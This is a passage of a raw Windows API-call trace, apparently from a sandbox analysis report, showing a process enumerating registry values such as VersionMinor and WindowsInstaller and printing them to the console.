| out: _File=0x7fefd702ab0) returned 0 [0150.508] __iob_func () returned 0x7fefd702a80 [0150.508] _fileno (_File=0x7fefd702ab0) returned 1 [0150.508] _errno () returned 0x204bb0 [0150.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.508] _errno () returned 0x204bb0 [0150.508] GetFileType (hFile=0x50) returned 0x1 [0150.508] lstrlenW (lpString="REG_DWORD") returned 9 [0150.508] GetConsoleOutputCP () returned 0x1b5 [0150.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.508] GetConsoleOutputCP () returned 0x1b5 [0150.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.508] __iob_func () returned 0x7fefd702a80 [0150.508] _fileno (_File=0x7fefd702ab0) returned 1 [0150.508] _errno () returned 0x204bb0 [0150.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.508] _errno () returned 0x204bb0 [0150.508] GetFileType (hFile=0x50) returned 0x1 [0150.508] lstrlenW (lpString=" ") returned 4 [0150.509] GetConsoleOutputCP () returned 0x1b5 [0150.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.509] GetConsoleOutputCP () returned 0x1b5 [0150.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.509] __iob_func () returned 0x7fefd702a80 [0150.509] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.509] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xb") returned 3 [0150.509] _fileno (_File=0x7fefd702ab0) returned 1 [0150.509] _errno () returned 0x204bb0 [0150.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.509] _errno () returned 0x204bb0 [0150.509] GetFileType (hFile=0x50) returned 0x1 [0150.509] lstrlenW (lpString="0xb") returned 3 [0150.509] GetConsoleOutputCP () returned 0x1b5 [0150.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.509] GetConsoleOutputCP () returned 0x1b5 [0150.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb", lpUsedDefaultChar=0x0) returned 3 [0150.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.510] __iob_func () returned 0x7fefd702a80 [0150.510] _fileno (_File=0x7fefd702ab0) returned 1 [0150.510] _errno () returned 0x204bb0 [0150.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.510] _errno () returned 0x204bb0 [0150.510] GetFileType (hFile=0x50) returned 0x1 [0150.510] lstrlenW (lpString="\n") returned 1 [0150.510] GetConsoleOutputCP () returned 0x1b5 [0150.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.510] GetConsoleOutputCP () returned 0x1b5 [0150.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.510] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.510] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.510] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.510] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.510] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.510] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.510] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.510] GetProcessHeap () returned 0x3c0000 [0150.511] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.511] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.511] __iob_func () returned 0x7fefd702a80 [0150.511] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.511] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.511] _fileno (_File=0x7fefd702ab0) returned 1 [0150.511] _errno () returned 0x204bb0 [0150.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.511] _errno () returned 0x204bb0 [0150.511] GetFileType (hFile=0x50) returned 0x1 [0150.511] lstrlenW (lpString=" ") returned 4 [0150.511] GetConsoleOutputCP () returned 0x1b5 [0150.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.511] GetConsoleOutputCP () returned 0x1b5 [0150.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.511] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.511] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.511] lstrlenW (lpString="VersionMinor") returned 12 [0150.511] __iob_func () returned 0x7fefd702a80 [0150.511] _fileno (_File=0x7fefd702ab0) returned 1 [0150.511] _errno () returned 0x204bb0 [0150.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.511] _errno () returned 0x204bb0 [0150.511] GetFileType (hFile=0x50) returned 0x1 [0150.511] lstrlenW (lpString="VersionMinor") returned 12 [0150.511] GetConsoleOutputCP () returned 0x1b5 [0150.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.512] GetConsoleOutputCP () returned 0x1b5 [0150.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.512] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.512] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.512] __iob_func () returned 0x7fefd702a80 [0150.512] _fileno (_File=0x7fefd702ab0) returned 1 [0150.512] _errno () returned 0x204bb0 [0150.512] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.512] _errno () returned 0x204bb0 [0150.512] GetFileType (hFile=0x50) returned 0x1 [0150.512] lstrlenW (lpString=" ") returned 4 [0150.512] GetConsoleOutputCP () returned 0x1b5 [0150.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.512] GetConsoleOutputCP () returned 0x1b5 [0150.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.512] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.512] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.512] __iob_func () returned 0x7fefd702a80 [0150.512] _fileno (_File=0x7fefd702ab0) returned 1 [0150.512] _errno () returned 0x204bb0 [0150.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.513] _errno () returned 0x204bb0 [0150.513] GetFileType (hFile=0x50) returned 0x1 [0150.513] lstrlenW (lpString="REG_DWORD") returned 9 [0150.513] GetConsoleOutputCP () returned 0x1b5 [0150.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.513] GetConsoleOutputCP () returned 0x1b5 [0150.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.513] __iob_func () returned 0x7fefd702a80 [0150.513] _fileno (_File=0x7fefd702ab0) returned 1 [0150.513] _errno () returned 0x204bb0 [0150.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.513] _errno () returned 0x204bb0 [0150.513] GetFileType (hFile=0x50) returned 0x1 [0150.513] lstrlenW (lpString=" ") returned 4 [0150.513] GetConsoleOutputCP () returned 0x1b5 [0150.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.513] GetConsoleOutputCP () returned 0x1b5 [0150.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.514] __iob_func () returned 0x7fefd702a80 [0150.514] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.514] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.514] _fileno (_File=0x7fefd702ab0) returned 1 [0150.514] _errno () returned 0x204bb0 [0150.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.514] _errno () returned 0x204bb0 [0150.514] GetFileType (hFile=0x50) returned 0x1 [0150.514] lstrlenW (lpString="0x0") returned 3 [0150.514] GetConsoleOutputCP () returned 0x1b5 [0150.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.514] GetConsoleOutputCP () returned 0x1b5 [0150.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.514] __iob_func () returned 0x7fefd702a80 [0150.514] _fileno (_File=0x7fefd702ab0) returned 1 [0150.514] _errno () returned 0x204bb0 [0150.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.514] _errno () returned 0x204bb0 [0150.514] GetFileType (hFile=0x50) returned 0x1 [0150.514] lstrlenW (lpString="\n") returned 1 [0150.515] GetConsoleOutputCP () returned 0x1b5 [0150.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.515] GetConsoleOutputCP () returned 0x1b5 [0150.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.515] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.515] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.515] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.515] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.515] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.515] GetProcessHeap () returned 0x3c0000 [0150.515] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.515] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.515] __iob_func () returned 0x7fefd702a80 [0150.515] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.515] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.515] _fileno (_File=0x7fefd702ab0) returned 1 [0150.515] _errno () returned 0x204bb0 [0150.516] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.516] _errno () returned 0x204bb0 [0150.516] GetFileType (hFile=0x50) returned 0x1 [0150.516] lstrlenW (lpString=" ") returned 4 [0150.516] GetConsoleOutputCP () returned 0x1b5 [0150.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.516] GetConsoleOutputCP () returned 0x1b5 [0150.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.516] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.516] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.516] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.516] __iob_func () returned 0x7fefd702a80 [0150.516] _fileno (_File=0x7fefd702ab0) returned 1 [0150.516] _errno () returned 0x204bb0 [0150.516] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.516] _errno () returned 0x204bb0 [0150.516] GetFileType (hFile=0x50) returned 0x1 [0150.516] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.516] GetConsoleOutputCP () returned 0x1b5 [0150.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.516] GetConsoleOutputCP () returned 0x1b5 [0150.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.517] __iob_func () returned 0x7fefd702a80 [0150.517] _fileno (_File=0x7fefd702ab0) returned 1 [0150.517] _errno () returned 0x204bb0 [0150.517] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.517] _errno () returned 0x204bb0 [0150.517] GetFileType (hFile=0x50) returned 0x1 [0150.517] lstrlenW (lpString=" ") returned 4 [0150.517] GetConsoleOutputCP () returned 0x1b5 [0150.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.517] GetConsoleOutputCP () returned 0x1b5 [0150.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.517] __iob_func () returned 0x7fefd702a80 [0150.517] _fileno (_File=0x7fefd702ab0) returned 1 [0150.517] _errno () returned 0x204bb0 [0150.517] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.517] _errno () returned 0x204bb0 [0150.517] GetFileType (hFile=0x50) returned 0x1 [0150.517] lstrlenW (lpString="REG_DWORD") returned 9 [0150.517] GetConsoleOutputCP () returned 0x1b5 [0150.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.518] GetConsoleOutputCP () returned 0x1b5 [0150.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.518] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.518] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.518] __iob_func () returned 0x7fefd702a80 [0150.518] _fileno (_File=0x7fefd702ab0) returned 1 [0150.518] _errno () returned 0x204bb0 [0150.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.518] _errno () returned 0x204bb0 [0150.518] GetFileType (hFile=0x50) returned 0x1 [0150.518] lstrlenW (lpString=" ") returned 4 [0150.518] GetConsoleOutputCP () returned 0x1b5 [0150.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.518] GetConsoleOutputCP () returned 0x1b5 [0150.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.518] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.518] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.518] __iob_func () returned 0x7fefd702a80 [0150.519] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.519] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.519] _fileno (_File=0x7fefd702ab0) returned 1 [0150.519] _errno () returned 0x204bb0 [0150.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.519] _errno () returned 0x204bb0 [0150.519] GetFileType (hFile=0x50) returned 0x1 [0150.519] lstrlenW (lpString="0x1") returned 3 [0150.519] GetConsoleOutputCP () returned 0x1b5 [0150.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.519] GetConsoleOutputCP () returned 0x1b5 [0150.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.519] __iob_func () returned 0x7fefd702a80 [0150.519] _fileno (_File=0x7fefd702ab0) returned 1 [0150.519] _errno () returned 0x204bb0 [0150.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.519] _errno () returned 0x204bb0 [0150.519] GetFileType (hFile=0x50) returned 0x1 [0150.519] lstrlenW (lpString="\n") returned 1 [0150.519] GetConsoleOutputCP () returned 0x1b5 [0150.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.519] GetConsoleOutputCP () returned 0x1b5 [0150.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.520] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.520] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.520] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.520] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.520] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] 